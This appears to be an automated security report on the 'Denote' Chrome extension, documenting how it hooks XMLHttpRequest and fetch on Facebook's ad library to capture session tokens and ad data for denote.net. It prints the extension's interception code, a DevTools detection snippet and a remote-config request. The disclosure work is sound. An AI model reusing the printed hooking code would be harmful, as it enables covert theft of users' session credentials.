Is Denote: Save Ads TK & FB Ad Library safe?
Denote is high risk. On facebook.com/ads/library, the extension injects a script at document_start overwriting XMLHttpRequest.open/setRequestHeader/send. Every XHR response is hooked to extract session identifiers and ad objects, sent on to denote.net. Version 1.0.27.9 added a window.fetch override.…
Who publishes itDenote - 1 other listing from the same operator, none carrying a finding
Denote - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 20k+ users between them, none of them carrying a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Injected script monkeypatches XMLHttpRequest to capture Facebook auth tokens
On facebook.com/ads/library, the extension injects a script at document_start overwriting XMLHttpRequest.open/setRequestHeader/send.
Every XHR response is hooked to extract session identifiers and ad objects, sent on to denote.net.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You open facebook.com/ads/library, the Facebook ad transparency library.
The content script runs at document_start, meaning the XHR patch is in place before the page's own JavaScript executes.
The injected script overwrites every XHR method on the page, capturing your Facebook session tokens and ad search results, then dispatches them to the content script for upload.
Captured data includes X-FB-LSD, X-ASBD-ID, fb_dtsg, __user, session_id, and the full ad object array from search_results_connection.
XHR monkeypatch, prototype overrides (facebook-early-interceptor-readable.js)
// Save original methods before overwritingconst originalOpen = XMLHttpRequest.prototype.open;const originalSetRequestHeader = XMLHttpRequest.prototype.setRequestHeader;const originalSend = XMLHttpRequest.prototype.send;// Track method and URL per-requestXMLHttpRequest.prototype.open = function(method, url, ...args) { this._method = method; this._url = url; this._headers = {}; originalOpen.apply(this, [method, url, ...args]);};// Record each header as it is setXMLHttpRequest.prototype.setRequestHeader = function(header, value) { this._headers[header] = value; originalSetRequestHeader.apply(this, [header, value]);};// On send, attach a load listener that reads headers + responseXMLHttpRequest.prototype.send = function(data) { this._data = data; this.addEventListener('load', function() { // Only process requests from the Facebook ad library page if (!location.href.includes('facebook.com/ads/library')) return; const isTargetedRequest = this._url === '/api/graphql' || this._url === '/api/graphql/' || this._url.startsWith('/ajax/bz') || this._url.includes('graphql'); if (!isTargetedRequest) return; // Capture Facebook security tokens from request headers if (this._headers['X-FB-LSD']) window.__denote_captured_data.X_FB_LSD = this._headers['X-FB-LSD']; if (this._headers['X-ASBD-ID']) window.__denote_captured_data.X_ASBD_ID = this._headers['X-ASBD-ID']; // ... parse request body for fb_dtsg, __user, session_id, doc_id ... // ... parse response for search_results_connection ad objects ... // ... dispatch via CustomEvent + postMessage ... }); originalSend.apply(this, [data]);};- Facebook LSD token (X_FB_LSD)AdSXd2Yk3RpHF4L-mWjPoQ
A per-session security token sent in every GraphQL request header. Used later to replay authenticated API requests.
- Facebook app build ID (X_ASBD_ID)359341
A numeric build identifier sent in GraphQL headers. Required to form valid Facebook API requests.
- User ID (__user field)100085234712345
Your numeric Facebook account ID, parsed from the GraphQL request body.
- Session IDa1b2c3d4-e5f6-7890-abcd-ef1234567890
A per-tab session identifier extracted from GraphQL variables; used to correlate ad search sessions.
- Ad archive ID (doc_id)6635716889819821
The persisted query hash for AdLibraryAdDetailsV2Query; stored to enable replaying the ad detail API call.
Pastes into the browser console on facebook.com/ads/library to confirm whether XMLHttpRequest.prototype methods have been replaced by the extension's instrumented versions.
- Chrome browser with Denote extension installed
- DevTools access (F12)
// Run in DevTools console on facebook.com/ads/library// while the Denote extension is installed.(function checkXHRPatch() { const results = { openNative: XMLHttpRequest.prototype.open.toString().includes('[native code]'), setRequestHeaderNative: XMLHttpRequest.prototype.setRequestHeader.toString().includes('[native code]'), sendNative: XMLHttpRequest.prototype.send.toString().includes('[native code]'), denoteCapturedDataExists: typeof window.__denote_captured_data !== 'undefined', denoteCapturedData: window.__denote_captured_data || null }; console.table({ 'open() is native': results.openNative, 'setRequestHeader() is native': results.setRequestHeaderNative, 'send() is native': results.sendNative, '__denote_captured_data present': results.denoteCapturedDataExists }); if (results.denoteCapturedDataExists) { console.log('Captured tokens:', { X_FB_LSD: window.__denote_captured_data.X_FB_LSD, X_ASBD_ID: window.__denote_captured_data.X_ASBD_ID, requestBody: window.__denote_captured_data.requestBody, adsCount: window.__denote_captured_data.ads?.length }); } return results;})();- 1Open DevTools (F12) on facebook.com/ads/library with Denote active.
- 2Paste this in Console, press Enter.
- 3If openNative/setRequestHeaderNative/sendNative are false, the patch is active.
- 4__denote_captured_data shows captured data.
v1.0.27.9 adds fetch() override on Facebook ad library pages
Version 1.0.27.9 added a window.fetch override.
On facebook.com/ads/library it intercepts fetch() to GraphQL/Ajax endpoints, strips Facebook's prefix, and parses ads like the XHR hook.
The URL check widened from /ads/library/ to bare path.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You visit facebook.com/ads/library, including the bare URL without a search query.
Version 1.0.27.9 widened the URL check from /ads/library/ (query string required) to /ads/library, so the hook now also fires on the landing page before any search is entered.
The injected script intercepts every fetch() to Facebook's GraphQL/Ajax endpoints, clones each response, strips the security prefix, and forwards ad objects to the content script.
The fetch override is additive; it runs in parallel with the existing XHR monkeypatch added in prior versions, ensuring no ad data escapes regardless of which request mechanism Facebook uses.
fetch() override added in v1.0.27.9 (facebook-early-interceptor-readable.js)
// Save original fetch before replacingconst originalFetch = window.fetch;window.fetch = async function(input, init) { const requestUrl = (typeof input === 'string') ? input : (input.url || input); const isAdLibraryPage = location.href.includes('facebook.com/ads/library'); // widened in v1.0.27.9 const isApiRequest = requestUrl === '/api/graphql' || requestUrl === '/api/graphql/' || requestUrl.startsWith('/ajax/bz') || requestUrl.includes('/ajax/bootloader') || requestUrl.includes('/api/') || requestUrl.includes('graphql'); // Always perform the real fetch first (transparent to the page) const response = await originalFetch.apply(this, arguments); if (!isAdLibraryPage || !isApiRequest) return response; try { const clonedResponse = response.clone(); const text = await clonedResponse.text(); // Strip Facebook's for(;;); anti-hijacking prefix let cleanText = text.startsWith('for (;;);') ? text.substring(9) : text; // Try line-by-line JSON parse (Facebook sometimes sends multiple JSON objects) let responseData = null; for (const line of cleanText.split('\n').filter(l => l.trim())) { const lineText = line.startsWith('for (;;);') ? line.substring(9) : line; try { const parsed = JSON.parse(lineText); if (containsAdData(parsed)) { responseData = parsed; break; } } catch (e) {} } if (!responseData) responseData = JSON.parse(cleanText); // Extract, normalise, deduplicate, and forward ad objects let ads = extractAdsFromResponse(responseData); if (ads?.length > 0) { ads = ads.map(normalizeAdData).map(addShopifyFields); const newAds = deduplicateAds(ads, window.__denote_captured_data.ads); if (newAds.length > 0) { window.__denote_captured_data.ads.push(...newAds); markDataCollected('fetch'); // sets stopCollection = true dispatchDataEvent(); // CustomEvent + postMessage to content script } } } catch (err) { console.error('Fetch interception error:', err); } return response; // original response returned unmodified to page};Prior versions intercepted ad data only through the XMLHttpRequest monkeypatch. Version 1.0.27.9 adds the fetch() override because Facebook's front-end has been migrating some API calls from XHR to the Fetch API. The two hooks share the same extraction functions (containsAdData, extractAdsFromResponse, deduplicateAds) and the same delivery path (dispatchDataEvent → CustomEvent + postMessage). Data collected by either hook ends up in the same window.__denote_captured_data object.
On every browser startup
The fetch() override is installed when the injected script initialises at document_start, before the page's own JavaScript runs, so all fetch calls made during page load are captured from the first request.
Extension fetches server-controlled interception rules from denote.net
Two POSTs to denote.net's get-remote-config endpoint were captured seconds after install.
The response, stored as EXT_RULES, tells the extension which Facebook GraphQL ops to intercept; rules live remotely and can expand silently.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
The extension installs or checks whether its configuration is more than 12 hours old.
The staleness check runs at startup via ke() which reads configLastUpdate from chrome.storage.local.
The background service worker POSTs to denote.net and stores the returned rules, which control which Facebook API calls are intercepted.
The rules (EXT_RULES) include the list of GraphQL operation names to target, the auth header to capture, and the doc_id to substitute into replayed requests.
Returns {"data": {"config": [{"params": [{"platform": "5", "rule": {"euHeaderConfig": {"headerValues": [...], "adApiKey": "...", "adDocId": "..."}, "earlyInterceptor": {...}}}]}]}}, stored as EXT_RULES in chrome.storage.local.
- Content-Type
- application/json
{ "extension_id": 102}Remote config fetch and rule storage (background/index.js)
function Be() { const headers = new Headers(); headers.append('Content-Type', 'application/json'); const body = JSON.stringify({ extension_id: 102 }); fetch('https://denote.net/api/v1/user/api-chrome-extension/get-remote-config', { method: 'POST', headers, body }) .then(res => res.json()) .then(data => { chrome.storage.local.get(['latest_user', 'multiple_version']).then(stored => { const update = { EXT_RULES: data.data.config[0].params, // interception rules configLastUpdate: Date.now() }; chrome.storage.local.set(update); }); });}Lists which Facebook GraphQL ops to intercept, which doc_id to inject into replays, and which JSON keys hold ad data. Server-updatable.
- Location
- chrome.storage.local key 'EXT_RULES'
[ { "platform": "5", "rule": { "euHeaderConfig": { "headerValues": [ "AdLibraryFilterContextProviderQuery", "AdLibraryV3AdCollationDetailsQuery", "AdLibraryFoundationRootQuery", "AdLibrarySearchPaginationQuery", "AdLibraryV3AdDetailsQuery" ], "adApiKey": "AdLibraryAdDetailsV2Query", "adDocId": "6635716889819821" }, "earlyInterceptor": { "searchKeywords": [ "search_results_connection", "page_info" ] } } }]- denote.net
Developer ad intelligence platform. Receives the numeric extension_id (102) and returns interception rules governing which Facebook API calls the extension captures.
+2 more findings not shown